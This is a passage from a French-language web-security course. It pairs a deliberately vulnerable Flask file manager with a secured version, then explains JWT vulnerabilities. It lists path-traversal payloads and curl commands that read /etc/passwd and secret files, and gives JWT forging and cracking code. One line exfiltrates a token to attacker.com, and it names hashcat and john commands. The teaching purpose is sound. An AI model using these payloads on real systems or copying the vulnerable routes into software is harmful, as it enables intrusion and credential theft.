            margin: 0 auto;
        }
        .header {
            background: rgba(0,0,0,0.6);
            padding: 30px;
            border-radius: 10px;
            margin-bottom: 30px;
            text-align: center;
        }
        .warning {
            background: #ff4444;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            font-weight: bold;
        }
        .grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(400px, 1fr));
            gap: 20px;
            margin-bottom: 30px;
        }
        .card {
            background: rgba(255,255,255,0.1);
            backdrop-filter: blur(10px);
            padding: 25px;
            border-radius: 10px;
            border: 1px solid rgba(255,255,255,0.2);
        }
        .card h3 {
            margin-bottom: 15px;
            color: #ffd700;
        }
        input[type="text"], input[type="file"] {
            width: 100%;
            padding: 12px;
            margin-bottom: 15px;
            border: 2px solid rgba(255,255,255,0.3);
            border-radius: 5px;
            background: rgba(0,0,0,0.3);
            color: white;
            font-family: inherit;
        }
        button {
            width: 100%;
            padding: 12px;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            border: none;
            border-radius: 5px;
            color: white;
            font-weight: bold;
            cursor: pointer;
            transition: transform 0.2s;
        }
        button:hover {
            transform: translateY(-2px);
        }
        .output {
            background: rgba(0,0,0,0.7);
            padding: 20px;
            border-radius: 10px;
            min-height: 150px;
            font-family: 'Courier New', monospace;
            white-space: pre-wrap;
            word-wrap: break-word;
        }
        .file-list {
            list-style: none;
            padding: 0;
        }
        .file-item {
            background: rgba(0,0,0,0.3);
            padding: 10px;
            margin-bottom: 10px;
            border-radius: 5px;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        .file-item button {
            width: auto;
            padding: 5px 15px;
            font-size: 14px;
        }
        .attacks {
            background: rgba(255,68,68,0.2);
            border: 2px solid #ff4444;
            padding: 20px;
            border-radius: 10px;
        }
        .attacks h2 {
            color: #ff4444;
            margin-bottom: 15px;
        }
        .attacks code {
            display: block;
            background: rgba(0,0,0,0.5);
            padding: 10px;
            border-radius: 5px;
            margin: 10px 0;
            cursor: pointer;
        }
        .attacks code:hover {
            background: rgba(0,0,0,0.7);
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>[DOSSIER] File Manager</h1>
            <p>Upload, Download, and View Files</p>
        </div>
        
        <div class="warning">
            [ATTENTION] APPLICATION VULNÉRABLE - DÉMO PATH TRAVERSAL
        </div>
        
        <div class="grid">
            <!-- UPLOAD -->
            <div class="card">
                <h3>[SORTIE] Upload File</h3>
                <input type="file" id="upload-file">
                <button onclick="uploadFile()">Upload</button>
            </div>
            
            <!-- DOWNLOAD -->
            <div class="card">
                <h3>[ENTREE] Download File</h3>
                <input type="text" id="download-filename" placeholder="Filename" value="public_doc.txt">
                <button onclick="downloadFile()">Download</button>
            </div>
            
            <!-- VIEW -->
            <div class="card">
                <h3>[EYE] View File</h3>
                <input type="text" id="view-filename" placeholder="Filename" value="public_doc.txt">
                <button onclick="viewFile()">View Content</button>
            </div>
            
            <!-- LIST FILES -->
            <div class="card">
                <h3>[LISTE] Files in Upload Directory</h3>
                <ul class="file-list" id="file-list">
                    <li>Loading...</li>
                </ul>
                <button onclick="listFiles()">Refresh</button>
            </div>
        </div>
        
        <div class="card">
            <h3>[FICHIER] Output</h3>
            <div class="output" id="output">Results will appear here...</div>
        </div>
        
        <div class="attacks">
            <h2>[DANGER] Path Traversal Payloads (Click to copy)</h2>
            
            <h3>Basic Traversal:</h3>
            <code onclick="copyToClipboard(this)">../../../etc/passwd</code>
            <code onclick="copyToClipboard(this)">../../../../tmp/secret.txt</code>
            
            <h3>URL Encoded:</h3>
            <code onclick="copyToClipboard(this)">..%2f..%2f..%2fetc%2fpasswd</code>
            
            <h3>Double URL Encoded:</h3>
            <code onclick="copyToClipboard(this)">..%252f..%252f..%252fetc%252fpasswd</code>
            
            <h3>Windows Paths:</h3>
            <code onclick="copyToClipboard(this)">..\\..\\..\\windows\\win.ini</code>
            
            <h3>Null Byte (si vulnérable):</h3>
            <code onclick="copyToClipboard(this)">../../../etc/passwd%00.txt</code>
            
            <h3>Mixed Slashes:</h3>
            <code onclick="copyToClipboard(this)">..\\/..\\/../etc/passwd</code>
        </div>
    </div>
    
    <script>
        async function uploadFile() {
            const fileInput = document.getElementById('upload-file');
            const output = document.getElementById('output');
            
            if (!fileInput.files[0]) {
                output.textContent = 'Please select a file';
                return;
            }
            
            const formData = new FormData();
            formData.append('file', fileInput.files[0]);
            
            output.textContent = 'Uploading...';
            
            try {
                const response = await fetch('/api/upload', {
                    method: 'POST',
                    body: formData
                });
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
                listFiles();
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function downloadFile() {
            const filename = document.getElementById('download-filename').value;
            const output = document.getElementById('output');
            
            output.textContent = 'Downloading...';
            
            try {
                const response = await fetch(`/api/download?file=${encodeURIComponent(filename)}`);
                
                if (response.ok) {
                    const blob = await response.blob();
                    const url = window.URL.createObjectURL(blob);
                    const a = document.createElement('a');
                    a.href = url;
                    a.download = filename.split('/').pop();
                    a.click();
                    output.textContent = 'Downloaded successfully';
                } else {
                    const data = await response.json();
                    output.textContent = 'Error: ' + (data.error || 'Download failed');
                }
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function viewFile() {
            const filename = document.getElementById('view-filename').value;
            const output = document.getElementById('output');
            
            output.textContent = 'Loading...';
            
            try {
                const response = await fetch(`/api/view?file=${encodeURIComponent(filename)}`);
                const data = await response.json();
                
                if (data.content) {
                    output.textContent = data.content;
                } else {
                    output.textContent = 'Error: ' + (data.error || 'Unknown error');
                }
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function listFiles() {
            const fileList = document.getElementById('file-list');
            
            try {
                const response = await fetch('/api/list');
                const data = await response.json();
                
                fileList.innerHTML = '';
                data.files.forEach(file => {
                    const li = document.createElement('li');
                    li.className = 'file-item';
                    li.innerHTML = `
                        <span>${file}</span>
                        <button onclick="document.getElementById('download-filename').value='${file}'; downloadFile();">Download</button>
                    `;
                    fileList.appendChild(li);
                });
            } catch (error) {
                fileList.innerHTML = '<li>Error loading files</li>';
            }
        }
        
        function copyToClipboard(element) {
            const text = element.textContent;
            navigator.clipboard.writeText(text).then(() => {
                const originalBg = element.style.background;
                element.style.background = 'rgba(0,255,0,0.3)';
                setTimeout(() => {
                    element.style.background = originalBg;
                }, 500);
            });
        }
        
        // Load files on page load
        listFiles();
    </script>
</body>
</html>
    ''')

# [X] ROUTE VULNÉRABLE : Upload
@app.route('/api/upload', methods=['POST'])
def upload_file_vulnerable():
    """
    [X] VULNÉRABLE : Utilise le nom de fichier sans validation
    """
    if 'file' not in request.files:
        return jsonify({"error": "No file provided"}), 400
    
    file = request.files['file']
    
    if file.filename == '':
        return jsonify({"error": "Empty filename"}), 400
    
    # [X] DANGER : Utilise le filename directement (même avec secure_filename, insuffisant)
    filename = file.filename
    
    file_path = os.path.join(UPLOAD_FOLDER, filename)
    
    print(f"[VULNERABLE] Saving to: {file_path}")
    
    file.save(file_path)
    
    return jsonify({
        "success": True,
        "filename": filename,
        "path": file_path
    })

# [X] ROUTE VULNÉRABLE : Download
@app.route('/api/download')
def download_file_vulnerable():
    """
    [X] VULNÉRABLE : Path traversal possible
    """
    filename = request.args.get('file', '')
    
    # [X] DANGER : Construction directe du chemin
    file_path = os.path.join(UPLOAD_FOLDER, filename)
    
    print(f"[VULNERABLE] Download requested: {file_path}")
    
    try:
        return send_file(file_path, as_attachment=True)
    except FileNotFoundError:
        return jsonify({"error": "File not found"}), 404
    except Exception as e:
        return jsonify({"error": str(e)}), 500

# [X] ROUTE VULNÉRABLE : View file content
@app.route('/api/view')
def view_file_vulnerable():
    """
    [X] VULNÉRABLE : Lecture de fichiers arbitraires
    """
    filename = request.args.get('file', '')
    
    # [X] DANGER
    file_path = os.path.join(UPLOAD_FOLDER, filename)
    
    print(f"[VULNERABLE] View requested: {file_path}")
    
    try:
        with open(file_path, 'r') as f:
            content = f.read()
        
        return jsonify({
            "filename": filename,
            "path": file_path,
            "content": content
        })
        
    except FileNotFoundError:
        return jsonify({"error": "File not found"}), 404
    except Exception as e:
        return jsonify({"error": str(e)}), 500

# Route : List files
@app.route('/api/list')
def list_files():
    """Liste les fichiers du répertoire uploads"""
    try:
        files = os.listdir(UPLOAD_FOLDER)
        return jsonify({"files": files})
    except Exception as e:
        return jsonify({"error": str(e)}), 500

if __name__ == '__main__':
    print("[RAPIDE] File Manager (VULNÉRABLE) sur http://localhost:5000")
    print("[ATTENTION]  DANGER : Path Traversal possible !")
    print(f"[DOSSIER] Upload directory: {UPLOAD_FOLDER}")
    print(f"[DEVERROUILLE] Secret file created: /tmp/secret.txt")
    app.run(debug=True, port=5000)
```

---

### PARTIE B : TESTER LES ATTAQUES

**1. Lancer l'application :**

```bash
python file_manager_vulnerable.py
```

**2. Ouvrir http://localhost:5000**

**3. Test Path Traversal - Lire /etc/passwd :**

Dans le champ "View File", entrer :
```
../../../../etc/passwd
```

Cliquer "View Content"

**Résultat :**
```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
```

**[OK] Path traversal réussi !**

---

**4. Test - Lire le fichier secret :**

```
../../../../tmp/secret.txt
```

**Résultat :**
```
API_KEY=sk-1234567890abcdef
DB_PASSWORD=SuperSecret123
```

**[OK] Secrets exposés !**

---

**5. Test - Télécharger /etc/passwd :**

Dans le champ "Download File", entrer :
```
../../../etc/passwd
```

**-> Le fichier est téléchargé !**

---

**6. Via curl :**

```bash
# Lire /etc/passwd
curl "http://localhost:5000/api/view?file=../../../../etc/passwd"

# Télécharger
curl "http://localhost:5000/api/download?file=../../../../etc/passwd" -o passwd.txt

# Encodage URL
curl "http://localhost:5000/api/view?file=..%2f..%2f..%2f..%2fetc%2fpasswd"
```

---

### PARTIE C : VERSION SÉCURISÉE

```python
# file_manager_secure.py
from flask import Flask, request, jsonify, send_file
from flask_cors import CORS
import os
import uuid
import sqlite3
from datetime import datetime

app = Flask(__name__)
CORS(app, origins=['http://localhost:3000'])

UPLOAD_FOLDER = '/tmp/uploads_secure'
DB_FILE = 'files.db'

os.makedirs(UPLOAD_FOLDER, exist_ok=True)

# ===== BASE DE DONNÉES =====

def init_db():
    """Initialise la base de données pour mapper UUID -> Fichiers"""
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS files (
            id TEXT PRIMARY KEY,
            original_filename TEXT NOT NULL,
            stored_filename TEXT NOT NULL,
            file_path TEXT NOT NULL,
            uploaded_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
            file_size INTEGER
        )
    ''')
    
    conn.commit()
    conn.close()

init_db()

# ===== VALIDATION =====

import re

SAFE_FILENAME_PATTERN = re.compile(r'^[a-zA-Z0-9_.-]+$')
MAX_FILENAME_LENGTH = 255

def is_safe_filename(filename):
    """
    [OK] Valide le nom de fichier
    """
    if not filename or len(filename) > MAX_FILENAME_LENGTH:
        return False
    
    # Pas de caractères spéciaux
    if not SAFE_FILENAME_PATTERN.match(filename):
        return False
    
    # Bloquer les noms réservés
    if filename in ['.', '..', '']:
        return False
    
    return True

def sanitize_filename(filename):
    """
    [OK] Nettoie le nom de fichier
    """
    # Extraire seulement le nom (pas de chemin)
    filename = os.path.basename(filename)
    
    # Supprimer les caractères non-alphanumériques sauf ._-
    filename = re.sub(r'[^a-zA-Z0-9._-]', '_', filename)
    
    # Limiter la longueur
    if len(filename) > MAX_FILENAME_LENGTH:
        name, ext = os.path.splitext(filename)
        filename = name[:MAX_FILENAME_LENGTH-len(ext)] + ext
    
    return filename

# [OK] ROUTE SÉCURISÉE : Upload avec UUID
@app.route('/api/upload', methods=['POST'])
def upload_file_secure():
    """
    [OK] SÉCURISÉ : UUID + Validation + Mapping DB
    """
    if 'file' not in request.files:
        return jsonify({"error": "No file provided"}), 400
    
    file = request.files['file']
    
    if file.filename == '':
        return jsonify({"error": "Empty filename"}), 400
    
    # [OK] Nettoyer le nom de fichier
    original_filename = sanitize_filename(file.filename)
    
    if not is_safe_filename(original_filename):
        return jsonify({"error": "Invalid filename"}), 400
    
    # [OK] Générer un UUID pour le stockage
    file_id = str(uuid.uuid4())
    file_extension = os.path.splitext(original_filename)[1]
    stored_filename = f"{file_id}{file_extension}"
    
    # [OK] Chemin sécurisé
    file_path = os.path.join(UPLOAD_FOLDER, stored_filename)
    
    # [OK] Vérifier que le chemin résolu est dans UPLOAD_FOLDER
    if not os.path.abspath(file_path).startswith(os.path.abspath(UPLOAD_FOLDER)):
        return jsonify({"error": "Invalid path"}), 400
    
    # Sauvegarder
    file.save(file_path)
    file_size = os.path.getsize(file_path)
    
    # [OK] Enregistrer dans la base de données
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    cursor.execute('''
        INSERT INTO files (id, original_filename, stored_filename, file_path, file_size)
        VALUES (?, ?, ?, ?, ?)
    ''', (file_id, original_filename, stored_filename, file_path, file_size))
    
    conn.commit()
    conn.close()
    
    print(f"[SECURE] Uploaded: {original_filename} -> {stored_filename} (ID: {file_id})")
    
    return jsonify({
        "success": True,
        "file_id": file_id,
        "original_filename": original_filename,
        "file_size": file_size
    })

# [OK] ROUTE SÉCURISÉE : Download par UUID
@app.route('/api/download/<file_id>')
def download_file_secure(file_id):
    """
    [OK] SÉCURISÉ : Accès par UUID uniquement
    """
    # [OK] Valider le format UUID
    try:
        uuid.UUID(file_id)
    except ValueError:
        return jsonify({"error": "Invalid file ID"}), 400
    
    # [OK] Récupérer depuis la base de données
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute('SELECT * FROM files WHERE id = ?', (file_id,))
    file_record = cursor.fetchone()
    conn.close()
    
    if not file_record:
        return jsonify({"error": "File not found"}), 404
    
    # [OK] Utiliser le chemin stocké en DB
    file_path = file_record['file_path']
    
    # [OK] Vérification supplémentaire
    if not os.path.abspath(file_path).startswith(os.path.abspath(UPLOAD_FOLDER)):
        return jsonify({"error": "Invalid file path"}), 403
    
    if not os.path.isfile(file_path):
        return jsonify({"error": "File not found on disk"}), 404
    
    print(f"[SECURE] Download: {file_record['original_filename']} (ID: {file_id})")
    
    return send_file(
        file_path,
        as_attachment=True,
        download_name=file_record['original_filename']
    )

# [OK] ROUTE SÉCURISÉE : View par UUID
@app.route('/api/view/<file_id>')
def view_file_secure(file_id):
    """
    [OK] SÉCURISÉ : Vue par UUID uniquement
    """
    try:
        uuid.UUID(file_id)
    except ValueError:
        return jsonify({"error": "Invalid file ID"}), 400
    
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute('SELECT * FROM files WHERE id = ?', (file_id,))
    file_record = cursor.fetchone()
    conn.close()
    
    if not file_record:
        return jsonify({"error": "File not found"}), 404
    
    file_path = file_record['file_path']
    
    # [OK] Vérifications
    if not os.path.abspath(file_path).startswith(os.path.abspath(UPLOAD_FOLDER)):
        return jsonify({"error": "Invalid file path"}), 403
    
    try:
        # [OK] Limiter la taille pour vue
        max_size = 1024 * 1024  # 1MB
        file_size = os.path.getsize(file_path)
        
        if file_size > max_size:
            return jsonify({"error": "File too large to view"}), 413
        
        with open(file_path, 'r') as f:
            content = f.read()
        
        return jsonify({
            "file_id": file_id,
            "original_filename": file_record['original_filename'],
            "content": content,
            "file_size": file_size
        })
        
    except UnicodeDecodeError:
        return jsonify({"error": "File is not text-readable"}), 400
    except Exception as e:
        return jsonify({"error": "Error reading file"}), 500

# Route : List files
@app.route('/api/list')
def list_files_secure():
    """Liste les fichiers avec leurs UUID"""
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute('SELECT id, original_filename, file_size, uploaded_at FROM files ORDER BY uploaded_at DESC')
    files = [dict(row) for row in cursor.fetchall()]
    conn.close()
    
    return jsonify({"files": files})

if __name__ == '__main__':
    print("[SECURITE]  File Manager SÉCURISÉ sur http://localhost:5001")
    print("[OK] Protection : UUID + Validation + DB Mapping + Path Verification")
    print(f"[DOSSIER] Upload directory: {UPLOAD_FOLDER}")
    app.run(debug=False, port=5001)
```

**Tester la protection :**

```bash
# Lancer le serveur sécurisé
python file_manager_secure.py

# Tenter path traversal (devrait échouer)
curl "http://localhost:5001/api/download/../../../../etc/passwd"
```

**Résultat :**
```json
{
  "error": "Invalid file ID"
}
```

**[OK] Path traversal bloqué !**

---

## [GRAPHIQUE] RÉCAPITULATIF PATH TRAVERSAL

### [OK] Protections essentielles

| Protection | Efficacité | Facilité |
|-----------|-----------|----------|
| UUID au lieu de noms | ***** | [ATTENTION] Moyen |
| Whitelist de fichiers | ***** | [OK] Facile |
| os.path.abspath() + vérification | ***** | [OK] Facile |
| Validation regex stricte | **** | [OK] Facile |
| os.path.basename() | *** | [OK] Facile |
| Chroot jail | ***** | [ATTENTION] Complexe |

---

### [X] Erreurs critiques

- [X] Utiliser directement l'input utilisateur dans les chemins
- [X] Ne pas valider les noms de fichiers
- [X] Pas de vérification du chemin résolu
- [X] Utiliser seulement os.path.join() sans validation
- [X] Ne pas limiter l'accès à un répertoire spécifique

---

### [OBJECTIF] Règles d'or

1. **JAMAIS** utiliser l'input utilisateur directement dans les chemins
2. **TOUJOURS** valider avec regex stricte
3. **TOUJOURS** vérifier que realpath() reste dans le répertoire autorisé
4. **PRÉFÉRER** UUID au lieu de noms de fichiers
5. **TOUJOURS** utiliser une whitelist si possible
6. **BLOQUER** les caractères `../`, `..\\`, null bytes

---

**Prêt pour JWT Vulnerabilities ?** [SECURISE]

# 14. JWT VULNERABILITIES

## [DOCS] THÉORIE APPROFONDIE

### Qu'est-ce qu'un JWT ?

**JWT (JSON Web Token)** est un standard ouvert (RFC 7519) pour transmettre des informations de manière sécurisée entre parties sous forme d'objet JSON.

**Structure d'un JWT :**

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInVzZXJuYW1lIjoiYWxpY2UiLCJyb2xlIjoidXNlciIsImV4cCI6MTcwNDU2Nzg5MH0.4xF8K9pL2mN5oQ6rS7tU8vW9xY0zA1bC2dE3fG4hI5j
```

**Décomposition :**

```
[HEADER].[PAYLOAD].[SIGNATURE]
```

---

### Les 3 parties d'un JWT

#### **1. HEADER (En-tête)**

```json
{
  "alg": "HS256",
  "typ": "JWT"
}
```

**Encodé en Base64URL :**
```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
```

**Champs :**
- `alg` : Algorithme de signature (HS256, RS256, none, etc.)
- `typ` : Type de token (toujours "JWT")

---

#### **2. PAYLOAD (Données)**

```json
{
  "user_id": 123,
  "username": "alice",
  "role": "user",
  "exp": 1704567890,
  "iat": 1704564290
}
```

**Encodé en Base64URL :**
```
eyJ1c2VyX2lkIjoxMjMsInVzZXJuYW1lIjoiYWxpY2UiLCJyb2xlIjoidXNlciIsImV4cCI6MTcwNDU2Nzg5MCwiaWF0IjoxNzA0NTY0MjkwfQ
```

**Claims standards :**
- `iss` : Issuer (émetteur)
- `sub` : Subject (sujet)
- `aud` : Audience (destinataire)
- `exp` : Expiration time (timestamp)
- `iat` : Issued at (date d'émission)
- `nbf` : Not before (pas avant)
- `jti` : JWT ID (identifiant unique)

---

#### **3. SIGNATURE**

```
HMACSHA256(
  base64UrlEncode(header) + "." + base64UrlEncode(payload),
  secret_key
)
```

**Résultat :**
```
4xF8K9pL2mN5oQ6rS7tU8vW9xY0zA1bC2dE3fG4hI5j
```

**Rôle :** Garantir l'intégrité du token (détecte les modifications).

---

### Types d'algorithmes

| Type | Algorithme | Clé | Description |
|------|-----------|-----|-------------|
| **Symétrique** | HS256 | Secret partagé | Même clé pour signer et vérifier |
| **Symétrique** | HS384 | Secret partagé | SHA-384 |
| **Symétrique** | HS512 | Secret partagé | SHA-512 |
| **Asymétrique** | RS256 | Clé publique/privée | RSA + SHA-256 |
| **Asymétrique** | RS384 | Clé publique/privée | RSA + SHA-384 |
| **Asymétrique** | RS512 | Clé publique/privée | RSA + SHA-512 |
| **Asymétrique** | ES256 | Clé publique/privée | ECDSA + SHA-256 |
| **Aucun** | none | Aucune | [X] DANGEREUX ! |

---

## [DEVERROUILLE] VULNÉRABILITÉS JWT

### 1. **Algorithm Confusion (alg: none)**

**Principe :**
Certaines bibliothèques acceptent l'algorithme `"none"`, ce qui signifie **aucune signature**.

**JWT valide avec signature :**
```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInJvbGUiOiJ1c2VyIn0.SIGNATURE
```

**JWT modifié avec alg: none :**

**Header :**
```json
{
  "alg": "none",
  "typ": "JWT"
}
```

**Payload :**
```json
{
  "user_id": 123,
  "role": "admin"  // [X] Modifié !
}
```

**Token complet :**
```
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoxMjMsInJvbGUiOiJhZG1pbiJ9.
                                                                              ^
                                                                    Pas de signature !
```

**Code vulnérable :**

```python
import jwt

def verify_token(token):
    """
    [X] VULNÉRABLE : Accepte alg="none"
    """
    try:
        # [X] DANGER : algorithms=['HS256', 'none']
        decoded = jwt.decode(
            token,
            secret_key,
            algorithms=['HS256', 'none']  # [X] Accepte "none" !
        )
        return decoded
    except:
        return None
```

---

### 2. **Algorithm Confusion (HS256 -> RS256)**

**Principe :**
Confondre un algorithme symétrique (HS256) avec un asymétrique (RS256).

**Scénario :**

1. Le serveur utilise RS256 avec une **clé publique** pour vérifier
2. L'attaquant récupère la clé publique (souvent publique !)
3. L'attaquant crée un JWT avec `alg: HS256` signé avec la clé publique
4. Le serveur vérifie avec HS256 et la clé publique -> [OK] Accepté !

**Exploitation :**

```python
# 1. Récupérer la clé publique RSA du serveur
public_key = """
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----
"""

# 2. Créer un JWT malveillant avec alg: HS256
import jwt

payload = {
    "user_id": 123,
    "role": "admin"  # [X] Escalade de privilèges
}

# 3. Signer avec HS256 en utilisant la clé publique comme secret
malicious_token = jwt.encode(
    payload,
    public_key,
    algorithm='HS256'
)

# 4. Le serveur accepte le token si mal configuré !
```

**Code vulnérable :**

```python
def verify_token(token):
    """
    [X] VULNÉRABLE : Utilise la même clé pour tous les algos
    """
    decoded = jwt.decode(
        token,
        public_key,  # Clé publique RSA
        algorithms=['HS256', 'RS256']  # [X] Accepte les deux !
    )
    return decoded
```

---

### 3. **Weak Secret Key (Brute-force)**

**Principe :**
Secret faible -> Facile à deviner par brute-force.

**Secrets faibles :**

```python
# [X] TRÈS FAIBLES
secret = "secret"
secret = "123456"
secret = "password"
secret = "jwt_secret"
```

**Attaque brute-force :**

```python
import jwt
import hashlib

# JWT capturé
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjN9.SIGNATURE"

# Dictionnaire de secrets communs
secrets = ["secret", "password", "123456", "jwt_secret", "admin", "test"]

for secret in secrets:
    try:
        decoded = jwt.decode(token, secret, algorithms=['HS256'])
        print(f"[OK] Secret trouvé : {secret}")
        print(f"Payload : {decoded}")
        break
    except jwt.InvalidSignatureError:
        continue
```

**Outils automatisés :**

```bash
# jwt-cracker
npm install --global jwt-cracker
jwt-cracker <token> [alphabet] [max-length]

# hashcat
hashcat -m 16500 jwt.txt wordlist.txt

# john the ripper
john --format=HMAC-SHA256 --wordlist=rockyou.txt jwt.txt
```

---

### 4. **JWT Injection via kid (Key ID)**

**Principe :**
Le claim `kid` (Key ID) spécifie quelle clé utiliser pour vérifier la signature. S'il est mal validé, il peut permettre une injection.

**Header avec kid :**

```json
{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "key1"
}
```

**Code vulnérable :**

```python
import jwt
import os

def verify_token(token):
    """
    [X] VULNÉRABLE : kid utilisé directement dans un chemin
    """
    # Décoder le header sans vérification
    header = jwt.get_unverified_header(token)
    kid = header.get('kid')
    
    # [X] DANGER : Path Traversal !
    key_path = f"/var/secrets/{kid}.key"
    
    with open(key_path, 'r') as f:
        secret = f.read()
    
    return jwt.decode(token, secret, algorithms=['HS256'])
```

**Exploitation :**

```json
{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "../../etc/passwd"  // [X] Path Traversal
}
```

**Ou injection SQL si kid stocké en DB :**

```json
{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "key1' OR '1'='1"  // [X] SQL Injection
}
```

---

### 5. **Missing Expiration Check**

**Principe :**
Token sans expiration ou expiration non vérifiée.

**Code vulnérable :**

```python
def verify_token(token):
    """
    [X] VULNÉRABLE : Pas de vérification d'expiration
    """
    decoded = jwt.decode(
        token,
        secret_key,
        algorithms=['HS256'],
        options={"verify_exp": False}  # [X] Désactive la vérification
    )
    return decoded
```

**Impact :**
- Token volé reste valide indéfiniment
- Impossible de révoquer un token compromis

---

### 6. **JWT Stored in localStorage**

**Principe :**
JWT stocké dans `localStorage` accessible via JavaScript -> Vulnérable au XSS.

**Code vulnérable :**

```javascript
// [X] DANGEREUX
localStorage.setItem('jwt', token);

// Si XSS :
<script>
  fetch('https://attacker.com/steal?jwt=' + localStorage.getItem('jwt'))
</script>
```

**[OK] Solution :** Utiliser des **HttpOnly cookies**.

---

### 7. **Signature Not Verified**

**Code vulnérable :**

```python
import jwt
import json
import base64

def get_user_from_token(token):
    """
    [X] VULNÉRABLE : Decode sans vérification de signature
    """
    # Séparer les parties
    parts = token.split('.')
    
    # Décoder le payload sans vérifier la signature
    payload = base64.urlsafe_b64decode(parts[1] + '==')
    
    return json.loads(payload)
```

**Impact :**
L'attaquant peut modifier le payload et le serveur l'accepte !

---

### 8. **JKU (JWK Set URL) Injection**

**Principe :**
Le claim `jku` spécifie une URL pour récupérer la clé publique. Si mal validé, l'attaquant peut pointer vers son propre serveur.

**Header avec jku :**

```json
{
  "alg": "RS256",
  "typ": "JWT",
  "jku": "https://attacker.com/jwks.json"  // [X] URL attaquant
}
```

**Serveur attaquant (jwks.json) :**

```json
{
  "keys": [
    {
      "kty": "RSA",
      "kid": "key1",
      "n": "...",  // Clé publique de l'attaquant
      "e": "AQAB"
    }
  ]
}
```

**Résultat :**
Le serveur télécharge la clé depuis l'URL de l'attaquant -> Accepte les tokens signés par l'attaquant.

---

## [CODE] EXERCICE 16 : JWT VULNERABILITIES

### Objectif

Créer une API d'authentification avec :
- Login qui génère un JWT
- Routes protégées par JWT
- Démonstration de toutes les vulnérabilités JWT
- Version sécurisée avec bonnes pratiques

---

### PARTIE A : BACKEND VULNÉRABLE

```python
# jwt_auth_vulnerable.py
from flask import Flask, request, jsonify, render_template_string
from flask_cors import CORS
import jwt
import datetime
import hashlib

app = Flask(__name__)
CORS(app, supports_credentials=True)

# [X] ERREUR 1 : Secret faible
SECRET_KEY = "secret"

# [X] ERREUR 2 : RSA key publique (pour démo RS256 -> HS256)
RSA_PUBLIC_KEY = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu1SU1LfVLPHCozMxH2Mo
4lgOEePzNm0tRgeLezV6ffAt0gunVTLw7onLRnrq0/IzW7yWR7QkrmBL7jTKEn5u
+qKhbwKfBstIs+bMY2Zkp18gnTxKLxoS2tFczGkPLPgizskuemMghRniWaoLcyeh
kd3qqGElvW/VDL5AaWTg0nLVkjRo9z+40RQzuVaE8AkAFmxZzow3x+VJYKdjykkJ
0iT9wCS0DRTXu269V264Vf/3jvredZiKRkgwlL9xNAwxXFg0x/XFw005UWVRIkdg
cKWTjpBP2dPwVZ4WWC+9aGVd+Gyn1o0CLelf4rEjGoXbAAEgAqeGUxrcIlbjXfbc
mwIDAQAB
-----END PUBLIC KEY-----"""

# Base de données simple
USERS_DB = {
    'alice': {
        'password': hashlib.sha256('alice123'.encode()).hexdigest(),
        'role': 'user'
    },
    'bob': {
        'password': hashlib.sha256('bob123'.encode()).hexdigest(),
        'role': 'user'
    },
    'admin': {
        'password': hashlib.sha256('admin123'.encode()).hexdigest(),
        'role': 'admin'
    }
}

@app.route('/')
def index():
    return render_template_string('''
<!DOCTYPE html>
<html>
<head>
    <title>JWT Authentication</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: 'Courier New', monospace;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            padding: 20px;
            color: white;
        }
        .container { max-width: 1400px; margin: 0 auto; }
        .header {
            background: rgba(0,0,0,0.6);
            padding: 30px;
            border-radius: 10px;
            margin-bottom: 30px;
            text-align: center;
        }
        .warning {
            background: #ff4444;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            font-weight: bold;
        }
        .grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(400px, 1fr));
            gap: 20px;
            margin-bottom: 30px;
        }
        .card {
            background: rgba(255,255,255,0.1);
            backdrop-filter: blur(10px);
            padding: 25px;
            border-radius: 10px;
            border: 1px solid rgba(255,255,255,0.2);
        }
        .card h3 { margin-bottom: 15px; color: #ffd700; }
        input, textarea {
            width: 100%;
            padding: 12px;
            margin-bottom: 15px;
            border: 2px solid rgba(255,255,255,0.3);
            border-radius: 5px;
            background: rgba(0,0,0,0.3);
            color: white;
            font-family: inherit;
        }
        button {
            width: 100%;
            padding: 12px;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            border: none;
            border-radius: 5px;
            color: white;
            font-weight: bold;
            cursor: pointer;
            transition: transform 0.2s;
        }
        button:hover { transform: translateY(-2px); }
